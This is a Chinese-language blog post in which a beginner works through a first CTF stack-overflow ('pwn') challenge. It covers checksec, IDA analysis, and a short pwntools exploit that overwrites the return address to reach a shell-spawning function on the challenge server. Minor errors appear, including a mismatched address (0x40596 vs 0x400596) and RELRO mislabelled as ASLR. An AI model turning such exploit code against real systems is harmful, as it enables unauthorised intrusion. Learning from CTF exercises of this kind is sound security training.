做的第一道pwn题

 做题步骤

一、使用Ubuntu,对pwn文件进行扫瞄;

  file语句主要用来看本文件是多少位的,是不是elf文件——ELF文件详解—初步认识_code&poetry的博客-CSDN博客_elf文件,(该链接详细介绍了elf文件的基本结构),图中显示64-bit,意思是64位的文件

  checksec命令是用来查看该文件有哪些保护措施。 

 NX(DEP):数据执行防护
 Canary(FS):栈溢出保护
 RELRO(ASLR):(地址随机化)
 PIE(代码地址随机化)

因为该题比较简单,所以防护比较少。

二、使用IDA

因为文件是64位的,所以用ida64打开,按F5反汇编成为c语言代码,要找溢出漏洞,我们首先得找哪里有输入,暂时main函数内未找到,但是我们怀疑再vulnerable_function中有溢出双击打开开函数

 

read函数规定最大可以写入0X200个字节,而buf到栈底只有0X80,所以有溢出。

双击buf之后,看以看到buf直接通到栈底,并且最后有八个字节用来接收返回地址,所以我们可以就此进行覆盖,使其返回到我们想要的地址上去(也就是system函数所在的地址上去,这样获取/bin/sh,获得后门)

 我们应该对system,/bin/sh等字眼比较敏感,有一个callsystem,点开发现我们想要的,找到该函数地址为0x40596

根据main函数的结构我们知道,我们要先接收helloworld字符串,再输入,输入我们构造好的字符

串payload。


from pwn import *

io = remote("111.200.241.244",58424)//建立远程连接,也就是链接该题目的环境

callsystem = 0x400596

io.recvline()//接受一行函数的输出

payload = 0x88*b'a' + p64(callsystem)//先将buf和rbp覆盖掉,再写入callsystem的地址。

io.sendline(payload)

io.interactive()

 在虚拟机中执行该文件。

 交互正常进行,所以成功,ls列出该目录下的所有文件,cat抓取flag。


 

总结

1.了解文件的结构,有哪些漏洞。

2.学会找在哪里会出现溢出漏洞,并做好总结。

3.对于相关字眼要敏感。

4.要理解解题步骤。

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值